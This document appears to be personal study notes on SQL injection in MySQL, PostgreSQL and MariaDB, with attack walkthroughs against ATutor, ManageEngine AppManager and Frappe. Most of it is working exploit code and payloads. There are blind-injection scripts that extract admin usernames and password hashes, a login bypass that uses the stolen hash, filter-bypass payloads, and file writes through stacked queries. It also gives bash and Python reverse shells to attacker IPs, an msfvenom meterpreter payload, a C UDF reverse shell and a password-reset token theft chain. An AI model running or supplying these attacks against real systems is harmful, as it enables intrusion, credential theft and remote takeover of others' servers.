SQL Injection

MySQL Databases

SetUp, Logging, Function Researching and Restriction Bypasses

- Set Up

sudo nano /etc/mysql/my.cnf

[mysqld]
...
general_log_file = /var/log/mysql/mysql.log
general_log = 1

sudo systemctl restart mysql

sudo tail –f /var/log/mysql/mysql.log

To enable the PHP display_errors:

sudo nano /etc/php5/apache2/php.ini

display_errors = On

sudo systemctl restart apache2

Once setted up we can start reviewing the source code.

- Funtion researching

If all pages that do not require authentication contain code like the following:

$_user_location = 'public';

We would use the following to enumerate all pages we can access without authentication:

grep -rnw /var/www/html/ATutor -e "^.*user_location.*public.*" -- color

When inspecting files ,any time we see variable names such as query or qry, or function names that contain the string search, our first instinct should be to follow the path and see where the code takes us and try locating a SQL Injection.

Then, things to search:

  • Function containing the string search

  • queryDB

  • DB

  • query

  • qry

  • exec

  • sql

For example, to follow a function call called $search_result, we will use the following:

grep -rnw /var/www/html/ATutor -e "function searchFriends" --color

To see the php version:

php -v

If it runs PHP 5.6, the mysqli_connect function must exist, as it is present by default since version 5.0 in the php5-mysql Debian package. Therefore the $addslashes function will do nothing more than simply trim the user input, so there is no validation of user input when the $addslashes function is used.

- Testing and Logs

We can navigate the web and add ' to the query and see a returned warning result of the display_errors PHP directive being set to On. This error point as to a file se should look at.

We should also look the MySQL query and see if the single quote part of our payload was escaped correctly or not:

sudo tail –f /var/log/mysql/mysql.log

We should then check again sending two ' (AAAA'')

Then if the payload is correctly formed, we could look at the code and if we can see that the results of the vulnerable query are actually not displayed to the user, then UNION queries are not valid and this would be a Blind SQL Injection.

- Space Restriction Bypass

$name = $addslashes($name);
$sub_names = explode(' ', $name);
foreach($sub_names as $piece){
    if ($piece == ''){
        continue;
    }
}

Code like this, suggest that spaces are used as delimiters in the query construction so our payloads cannot contain any spaces.

We must use then:

mysql> select/**/1;

mysql> select/**/version();

Error-based Blind SQL Injection

If in the web response we can clearly see that the application displays some data within the HTML page when executing different queries, this means that the vulnerability in question can be classified as boolean-based.

- Veryfication

First, create a very simple dummy TRUE/FALSE injection subquery, we must verify that the complete query (with all its subqueries) is well-formed and will not cause any database errors:

Query evaluated to “true”:

AAAA')/**/or/**/(select/**/1)=1%23

Query evaluates to “false”:

AAAA')/**/or/**/(select/**/1)=0%23

- MySQL Version Idenfification

First, ask the database if the first character of the version string is a “4” or a “5”. We will also convert the resultant character to its numeric ASCII to avoid payload restrictions:

False Query: q=test%27)/**/or/**/(select/**/ascii(substring((select/**/version()),1,1)))=52%23

True Query: q=test%27)/**/or/**/(select/**/ascii(substring((select/**/version()),1,1)))=53%23

If everything works well, we can craft a script to play with the substring() function in our subqueries and loop over every single character of the version() result string comparing it with every possible character in the ASCII printable set:

def sqli_version(target):
    characters = ''.join([chr(i) for i in range(32, 128)])
    print("[*] Starting SQL Injection to retrieve MySQL Version")
    total_positions = 14
    version = ""
    
    for position in range(1, total_positions + 1):
        for character in characters:
            payload_sqlinjection = f"test')/**/or/**/(ascii(substring((select/**/version()),{position},1)))={ord(character)}%23" # Here goes the sql payload, use {position} for the position and {ord(character)} for the character
            target_url = f"http://{target}/ATutor/mods/_standard/social/index_public.php?q={payload_sqlinjection}"
            sqli_response = requests.get(target_url)
            sqli_response_content_length = int(sqli_response.headers['Content-Length'])

            if sqli_response_content_length > 20:
                version += character
                progress = int((position / total_positions) * 100)
                bar_length = 50
                filled_length = int(bar_length * position // total_positions)
                bar = '#' * filled_length + '-' * (bar_length - filled_length)
                print(f'\r[{bar}] {progress}% Complete | Version: {version.ljust(10)} (Position: {position}/{total_positions})', end='')
                break

    print(f"\n[+] Version extracted successfully: {version}")
    return version

- Credential Extracition and Authentication Bypass (ATutor)

If we perform the login and we can't see the password in the POST request, we can analyze how is this done since we have access to the backend.

First analyze the login script, this may point to the important logic functions.

Then we could search for tokens or sessions, session tokens are always an interesting item to keep track of as they are used in unexpected ways at times.

When looking at the code, notice if cookies are being used or not.

For example

$this_password = $_POST['form1_password_hidden'];

Here password_hidden is controlled by us in the POST request,

...AND SHA1(CONCAT(password, $_SESSION['token']))=$this_password;

And in the SQL Query we see that the session is as well controlled by us.

If we see in the code that if we manage to satisfy this query so that it returns a result set, we will be logged in, we can then craft the following payload:

! Here we obtain the character through the content length of the response. If we want to make it based on the status code of the response we could implement the mechanism used in Postgre Error-based Blind SQLi.

# select 'a'=(substring((select login from AT_admins where login='admin'),1,1));
# injection_template = "test') or (ascii(substring((select login from AT_admins where login='admin'), %d, 1)))=[CHAR]%%23"
# select 'a'=(substring((select login from AT_admins limit 1),1,1));
# injection_string = "test')/**/or/**/(ascii(substring((select login from AT_admins limit 1),%d,1)))=[CHAR]%%23" % i
# The ones from the course are the following:
# 'select/**/login/**/from/**/AT_members/**/where/**/status=3/**/limit/**/1'
# 'select/**/password/**/from/**/AT_members/**/where/**/login/**/=/**/\'%s\'' % (username)

def sqli_username(target):
    characters = ''.join([chr(i) for i in range(32, 128)])
    print("[*] Starting SQL Injection to retrieve username")
    total_positions = 5
    username = ""
    
    for position in range(1, total_positions + 1):
        for character in characters:
            payload_sqlinjection = f"test')/**/or/**/(ascii(substring((select/**/login/**/from/**/AT_admins),{position},1)))={ord(character)}%23" # Here goes the sql payload, use {position} for the position and {ord(character)} for the character
            target_url = f"http://{target}/ATutor/mods/_standard/social/index_public.php?q={payload_sqlinjection}"
            sqli_response = requests.get(target_url)
            sqli_response_content_length = int(sqli_response.headers['Content-Length'])

            if sqli_response_content_length > 20:
                username += character
                progress = int((position / total_positions) * 100)
                bar_length = 50
                filled_length = int(bar_length * position // total_positions)
                bar = '#' * filled_length + '-' * (bar_length - filled_length)
                print(f'\r[{bar}] {progress}% Complete | Username: {username.ljust(10)} (Position: {position}/{total_positions})', end='')
                break

    print(f"\n[+] Username extracted successfully: {username}")
    return username

Again, if we see when authenticating that the password is sent in something like this: $_POST[‘form_password_hidden’], then we can search something like function encrypt_password().

If we locate that the password is hashed twice for login, then, with the hash extracted before we can bypass the authentication:

import sys
import hashlib
import requests

def gen_hash(passwd, token):
    # sha1(sha1(password) + token)
    m= hashlib.sha1()
    m.update(passwd + token)
    return m.hexdigest()

def we_can_login_with_a_hash():
    target = "http://%s/ATutor/login.php" % sys.argv[1]
    token = "hax"
    hashed = gen_hash(sys.argv[2], token)
    d = {
        "form_password_hidden" : hashed, 
        "form_login": "teacher", 
        "submit": "Login",
        "token" : token
    }
    s = requests.Session()
    r = s.post(target, data=d)
    res = r.text
    if "Create Course: My Start Page" in res or "My Courses: My Start Page" in res:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <hash>" % sys.argv[0]
        print "(+) eg: %s 192.168.121.103 56b11a0603c7b7b8b4f06918e1bb5378ccd481cc" % sys.argv[0]
        sys.exit(-1)

    if we_can_login_with_a_hash():
        print "(+) success!"
    else:
        print "(-) failure!"

if __name__ == "__main__":
    main()

Time-based Blind SQL Injection

- Verification

First, check the sleep timer:

sleep(12)

Then check bolean conditions:

True Condition Tests:

SELECT * FROM some_table WHERE IF(1=1, SLEEP(5), NULL);

IF(1=1, SLEEP(5), NULL);

IF((SELECT+1+FROM+DUAL+WHERE+1=1), SLEEP(5), NULL)+

False Condition Tests:

SELECT * FROM some_table WHERE IF(1=2, SLEEP(5), NULL);

IF(1=2, SLEEP(5), NULL);

IF((SELECT+1+FROM+DUAL+WHERE+1=2), SLEEP(5), NULL)+

- Exploitation

For example, to extract password from table users where columd id is 1:

UNION (SELECT CASE WHEN ascii(substring(password,{i},1))={ord(char)} THEN SLEEP(8) ELSE 0 END from users where id=1)--

Example in python script:

#!/usr/bin/python3

from pwn import log
import requests
import time
import string

characters = string.ascii_lowercase + string.digits

def sqli():
    password_hash = ""
    p1 = log.progress("Password Hash Extraction")
    time.sleep(2)

    for i in range(1, 37):
        found = False
        for char in characters:
            payload = f"' UNION SELECT CASE WHEN ascii(substring(password,{i},1))={ord(char)} THEN sleep(3) ELSE 0 END from users where id=1--"
            target_url = f"https://example.com/?id=1{payload}"

            p1.status(f"Testing position {i}, character: {char}")

            time_start = time.time()
            try:
                response = requests.get(target_url, timeout=5)
            except requests.exceptions.Timeout:
                pass
            time_end = time.time()

            if time_end - time_start > 1.5:
                password_hash += char
                p1.status(f"Current hash: {password_hash}")
                found = True
                break 

        if not found:
            p1.failure("Character not found, exiting.")
            break

    if found:
        p1.success(f"Extracted Hash: {password_hash}")

if __name__ == "__main__":
    sqli()

Postgre Databases

SetUp, Logging, Function Researching and Restriction Bypasses

- Set Up

To instruct the database to log all SQL queries, change postgresql.conf (C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\postgresql.conf) log_statement:

log_statement = 'all' # none, ddl, mod, all

Then, restart the application, run services.msc and find the app, then restart it.

Once the service is restarted, we will be able to see failed queries in log files, beginning with swissql, in the following directory:

C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\pgsql_log\

To run SQL queries (ex in which server instance is configured to listen on port 15432):

psql.exe -U postgres -p 15432

- Quote Restriction Bypass

If we see errors when using quotes:

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1'

In Postgre we can bypass it using dollar signs, since two dollar characters ($$) can be used as a quote () substitute.

The following syntax examples produce the exact same result in PostgreSQL:

SELECT 'AWAE';

SELECT $$AWAE$$; SELECT $TAG$AWAE$TAG$;

- Space Restriction Bypass

Code like the following suggests that there is space restrictions:

return in.replace("'", "").replace(";", "").replace(" ", "");

This can be bypassed with /**/

Examples:

1/**/limit/**/(condition)--

Error-based Blind SQL Injection

- Confirm Injections

True:

SELECT CASE WHEN (1=1) THEN 1 ELSE 1 END

False:

SELECT CASE WHEN (1=2) THEN 1 ELSE 1 END

- Exploit

injection = f'AND (SELECT CASE WHEN ASCII(substr((SELECT column1 FROM table1 WHERE column2=value LIMIT 1),{position},1))={ord(char)} THEN 1=(SELECT 1 FROM table2) END)'

Example function in python assuming we have defined the target variable or we take it from the main function from argparse.

With this script we can execute an error based SQL Injection with a progress bar. This scrpt will extract a single variable, more variables can be added replicating the same logic.

def sqli(target):
    characters = string.printable
    total_positions = 70  # Total number of positions to check
    print("[*] Starting SQL Injection to retrieve 'cosa a extraer'")
    cosa_a_extraer = ""
    
    for position in range(1, total_positions + 1):
        for character in characters:
            payload_sqlinjection = f' 1 or 1=1 -- -' # Here goes the sql payload, use {position} for the position and {ord(character)} for the character
            target_url = f"http://{target}/algo?id={payload_sqlinjection}"
            sqli_response = requests.post(target_url).status_code
            
            if sqli_response == 550: # Taking into account that a 550 error is shown when the query evaluates to true
                cosa_a_extraer += character
                progress = int((position / total_positions) * 100)
                bar_length = 50
                filled_length = int(bar_length * position // total_positions)
                bar = '#' * filled_length + '-' * (bar_length - filled_length)
                print(f'\r[{bar}] {progress}% Complete | 'Cosa a extraer': {cosa_a_extraer.ljust(10)} (Position: {position}/{total_positions})', end='')
                break

    print(f"\n[+] 'Cosa a extraer' extracted successfully: {cosa_a_extraer}")
    return cosa_a_extraer

Time-based Blind SQL Injection

Once we see a request like this:

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1

We can search through the code the userId parameter:

String qry = "select distinct(RESOURCEID) from AM_USERRESOURCESTABLE where USERID=" + userId + " and RESOURCEID >" + stRange + " and RESOURCEID < " + endRange;

In this example, it does not contain any quoted strings. Therefore, trying to simply terminate the query with a semicolon at the injection point should work well:

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;

Sending that request, we get a response that is not very verbose, but looking at the database log, we can see an error.

One of the great things about Postgres SQL-injection attacks is that they allow an attacker to perform stacked queries. The downside with stacked queries is that they return multiple result sets and this can break the logic of the application and with it the ability to exfiltrate data with a boolean blind-based attack.

In order to solve this problem and still be able to use the flexibility of stacked queries, we have to resort to time-based blind injection payloads:

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1; select+pg_sleep(10);

- Confirm Injection

SELECT CASE WHEN (1=1) THEN 0=(SELECT 1 FROM PG_SLEEP(8)) END

- Normal Payload

injection = f'AND (SELECT CASE WHEN ASCII(substr((SELECT column1 FROM table1 WHERE column2=value LIMIT 1),{position},1))={ord(char)} THEN 0=(SELECT 1 FROM PG_SLEEP(8)) END)'

Example function in python:

def sqli(target):
    characters = string.printable
    total_positions = 70  # Total number of positions to check
    print("[*] Starting SQL Injection to retrieve 'cosa a extraer'")
    cosa_a_extraer = ""
    
    for position in range(1, total_positions + 1):
        for character in characters:
            payload_sqlinjection = f' 1 or 1=1 -- -' # Here goes the sql payload, use {position} for the position and {ord(character)} for the character
            target_url = f"http://{target}/algo?id={payload_sqlinjection}"
            sqli_response_time = requests.post(target_url).elapsed.total_seconds()
            
            if sqli_response_time > 3:
                cosa_a_extraer += character
                progress = int((position / total_positions) * 100)
                bar_length = 50
                filled_length = int(bar_length * position // total_positions)
                bar = '#' * filled_length + '-' * (bar_length - filled_length)
                print(f'\r[{bar}] {progress}% Complete | 'Cosa a extraer': {cosa_a_extraer.ljust(10)} (Position: {position}/{total_positions})', end='')
                break

    print(f"\n[+] 'Cosa a extraer' extracted successfully: {cosa_a_extraer}")
    return cosa_a_extraer

- Check privileges

Now that we can bypass the quotes restriction and are able to execute arbitrary stacked queries, it would be helpful to verify what database privileges the vulnerable application is running with.

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+

This will only sleep for 10 seconds if the is_superuser setting from the current_setting table is set to “on.”.

We can implement this in the following python script:

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    if len(sys.argv) != 2:
        print "(+) usage %s <target>" % sys.argv[0]
        print "(+) eg: %s target" % sys.argv[0]
        sys.exit(1)
    
    t = sys.argv[1]
    sqli = ";"
    r = requests.get('https://%s:8443/servlet/AMUserResourcesSyncServlet' % t, params='ForMasRange=1&userId=1%s' % sqli, verify=False)
    print r.text
    print r.headers

if __name__ == '__main__':
    main()

- Reverse shell via Copy To

To write files to the system:

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;COPY+(SELECT+$$user$$)+to +$$c:\\user.txt$$;--+

A elegant way would be to introduce malicious code into the VBS files that are used by the target application during normal operation.

These scripts are located in the C:\Program\ Files\ (x86)\ManageEngine\AppManager12\working\conf\application\scripts

If we run the Sysinternals Process Monitor tool with a VBS path filter on our target host, we can see that one of the files that is executed on a regular basis is wmiget.vbs, for example, so we can target it.

First, generate the reverse shell:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.119.120 LPORT=4444 -e x86/shikata_ga_nai -f vbs

Then, to add it to the end of the file through the query, we should base64 encode it (could be done with burp encoder) and execute the following query:

copy (select convert_from(decode($$ENCODED_PAYLOAD$$,$$base64$$),$$utf-8$$)) to $$C:\\Program+Files+(x86)\\ManageEngine\\AppManager12\\working\\conf\\\\application\\s cripts\\wmiget.vbs$$;

If we are targeting linux, to execute a bse64 encoded payload:

b64payload = base64.b64encode(f'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker_ip}",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'.encode('utf-8'))

session.get(target+"/admin/users/category?id=1; COPY(SELECT convert_from(decode('"+b64payload.decode('utf-8')+"','base64'),'utf-8')) to '/tmp/shell.py';DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'python3 /tmp/shell.py';")

To do the same with a bash payload:

import base64, requests

# Reverse shell command in Bash
command = "/bin/bash -i >& /dev/tcp/192.168.x.x/443 0>&1"

# Encoding the command in base64
command_encoding = base64.b64encode(command.encode("utf-8"))
command_encoded_string = str(command_encoding.decode('utf-8'))

# Preparing the SQL injection payload in a single line
sql_injection_payload_rce = "http://example.com/admin/users/category?id=1; COPY(SELECT convert_from(decode('" + command_encoded_string + "','base64'),'utf-8')) to '/tmp/shell.sh';DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM '/bin/bash /tmp/shell.sh';"

# Assuming 'session' is a requests.Session() object already logged in to the target site
session.get(sql_injection_payload_rce)

- Reverse shell via UDF (User-Defined Functions)

First we create the Postgres extension reverse shell (C):

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"

#pragma comment(lib, "ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);

WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;

Datum connect_back(PG_FUNCTION_ARGS)
{
    /* convert C string to text pointer */
    #define GET_TEXT(cstrp) \
        DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))

    /* convert text pointer to C string */
    #define GET_STR(textp) \
        DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    /* FIX THIS */
    hax.sin_port = XXXXXXXXXXXXX
	/* FIX THIS TOO*/
    hax.sin_addr.s_addr = XXXXXXXXXXXXXXX

    WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&sui, 0, sizeof(sui));
    sui.cb = sizeof(sui);
    sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
    PG_RETURN_VOID();
}

Once we have the malicious extension created, we can send the payload to the target with the following python script, which assumes that there is an available Samba share on a Kali VM that hosts a file named rev_shell.dll:

import requests
import sys

requests.packages.urllib3.disable_warnings()

def log(msg):
    print(msg)

def make_request(url, sql):
    log("[*] Executing query: %s" % sql[0:80])
    r = requests.get(url % sql, verify=False)
    return r

def create_udf_func(url):
    log("[+] Creating function...\n")
    sql = "--------\nFIX ME--------\n"
    make_request(url, sql)

def trigger_udf(url, ip, port):
    log("[+] Launching reverse shell...")
    sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
    make_request(url, sql)

if __name__ == '__main__':
    try:
        server = sys.argv[1].strip()
        attacker = sys.argv[2].strip()
        port = sys.argv[3].strip()
    except IndexError:
        print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
        sys.exit()
    
    sqli_url = "https://" + server + "/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
    create_udf_func(sqli_url)
    trigger_udf(sqli_url, attacker, port)

- Reverse shell via Large Objects

  1. Create a DLL file that will contain our malicious code

  2. Inject a query that creates a large object from an arbitrary remote file on disk

  3. Inject a query that updates page 0 of the newly created large object with the first 2KB of our DLL

  4. Inject queries that insert additional pages into the pg_largeobject table to contain the remainder of our DLL

  5. Inject a query that exports our large object (DLL) onto the remote server file system

  6. Inject a query that creates a PostgreSQL User Defined Function (UDF) based on our exported DLL

  7. Inject a query that executes our newly created UDF

import requests
import sys
import urllib
import string
import random
import time

requests.packages.urllib3.disable_warnings()

# encoded UDF rev_shell dll
udf ='YOUR DLL GOES HERE'
loid = 1337

def log(msg):
    print(msg)

def make_request(url, sql):
    log("[*] Executing query: %s" % sql[0:80])
    r = requests.get(url % sql, verify=False)
    return r

def delete_lo(url, loid):
    log("[+] Deleting existing LO...")
    sql = "SELECT lo_unlink(%d)" % loid
    make_request(url, sql)

def create_lo(url, loid):
    log("[+] Creating LO for UDF injection...")
    sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
    make_request(url, sql)

def inject_udf(url, loid):
    log("[+] Injecting payload of length %d into LO..." % len(udf))
    for i in range(0, ((len(udf) - 1) / -------- FIX ME --------) + 1):
        FIX ME
        ]
        udf_chunk = udf[i * -------- FIX ME --------:(i + 1) * --------
        
        if i == 0:
            sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$-------- FIX ME ----
            ----$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
        else:
            sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d,
            decode($$%s$$, $$-------- FIX ME -------- $$))" % (loid, i, udf_chunk)
        make_request(url, sql)

def export_udf(url, loid):
    log("[+] Exporting UDF library to filesystem...")
    sql = "SELECT lo_export(%d, $$C:\\Users\\Public\\rev_shell.dll$$)" % loid
    make_request(url, sql)

def create_udf_func(url):
    log("[+] Creating function...")
    sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\Users\\Public\\rev_shell.dll$$, $$connect_back$$ language C strict"
    make_request(url, sql)

def trigger_udf(url, ip, port):
    log("[+] Launching reverse shell...")
    sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
    make_request(url, sql)

if __name__ == '__main__':
    try:
        server = sys.argv[1].strip()
        attacker = sys.argv[2].strip()
        port = sys.argv[3].strip()
    except IndexError:
        print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
        sys.exit()
    
    sqli_url = "https://" + server + "/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--"
    delete_lo(sqli_url, loid)
    create_lo(sqli_url, loid)
    inject_udf(sqli_url, loid)
    export_udf(sqli_url, loid)
    create_udf_func(sqli_url)
    trigger_udf(sqli_url, attacker, port)

MariaDB Databases

Set Up

To configure logging, we will open a new SSH connection and edit the MariaDB server configuration file located at /etc/mysql/my.cnf:

[mysqld]

general_log_file = /var/log/mysql/mysql.log
general_log = 1

Then restart:

sudo systemctl restart mysql

To follow the log:

sudo tail -f /var/log/mysql/mysql.log

Frappe Exploitation

- Authentication Bypass Discovery in Frappe

Once we see in the post request something like this:

cmd=frappe.website.doctype.website_settings.website_settings.is_chat_enabled

Next, we will send the is_chat_enabled request to Repeater and modify it to run the web_search function.

First find all the whitelisted, guest-allowed functions:

whitelist(allow_guest

Then, whithin that, search the mariadb queries.

Then return to the POST request and send it to the Repeater.

Once in Repeater, we need to modify the request to match the file path and the function call. The file path for the web_search function is apps/frappe/frappe/utils/global_search.py and would make the cmd call “frappe.utils.global_search.web_search”:

cmd=frappe.utils.global_search.web_search

The only variable in the web_search function that does not have a default value is text, so we will set this by adding an ampersand (&):

cmd=frappe.utils.global_search.web_search&text=hola

Then we should look at the mysql.log file to see the generated query:

With the initial query generated, we can start using the other potentially-vulnerable parameters like scope. We can set the scope variable to a value and examine how the query changes. Using custom values allows us to have a unique token that we are in control of, avoiding false positives when grepping.

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola

Looking at the log, we can notice how many parameters the query have and then, craft an UNION payload:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,5#

To extract the version:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,@@version#

- Authentication Bypass Exploitation in Frappe

Click the reset password buton in the Frappe web and enter token_searchForUserTable@mail.com.

The look at the log and locate the error:

sudo tail -f /var/log/mysql/mysql.log | grep token_searchForUserTable

Here, we have discovered the table where the token is stored.

Once we know which tables we need to target, we must create a SQL query to extract the email/name of the user:

The documentation says that the email can be found in the name column in the __Auth table:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,name FROM __Auth#

Frappe responds with the error “Illegal mix of collations for operation ‘UNION’”.

It is possible for us to force a collation within the query. However, we first need to discover the collation used in the __global_search table that we are injecting into, so we can use the following query:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,COLLATION_NAME FROM information_schema.columns WHERE TABLE_NAME = "__global_search" AND COLUMN_NAME = "name"#%"

This request returns the value of “utf8mb4_general_ci” as the collation for the name column in the __global_search table, so we must edit our previous payload to include the “COLLATE utf8mb4_general_ci” command:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,name COLLATE utf8mb4_general_ci FROM __Auth#%"

Once we discover the email, we can enter it in the Forgot Password field, then, locate the token in the previouslly discovered table which stores it:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT 1,2,3,4,COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME = "tabUser"#

From the list of columns, we notice reset_password_key. We can use this column name to extract the password reset key. We could use the number “1” for the name/email and number “5” for the reset_password_key:

cmd=frappe.utils.global_search.web_search&text=hola&scope=hola" UNION ALL SELECT name COLLATE utf8mb4_general_ci,2,3,4,reset_password_key COLLATE utf8mb4_general_ci FROM tabUser#

Once we have the reset key, search reset_password_key in the code and look at the function, it should show a link with the appended key like the following:

http://erpnext:8000/update-password?key=aAJTVmS14sCpKxrRT8N7ywbnYXRcVEN0

From there, we can update the password and log in as the admin.

Last updated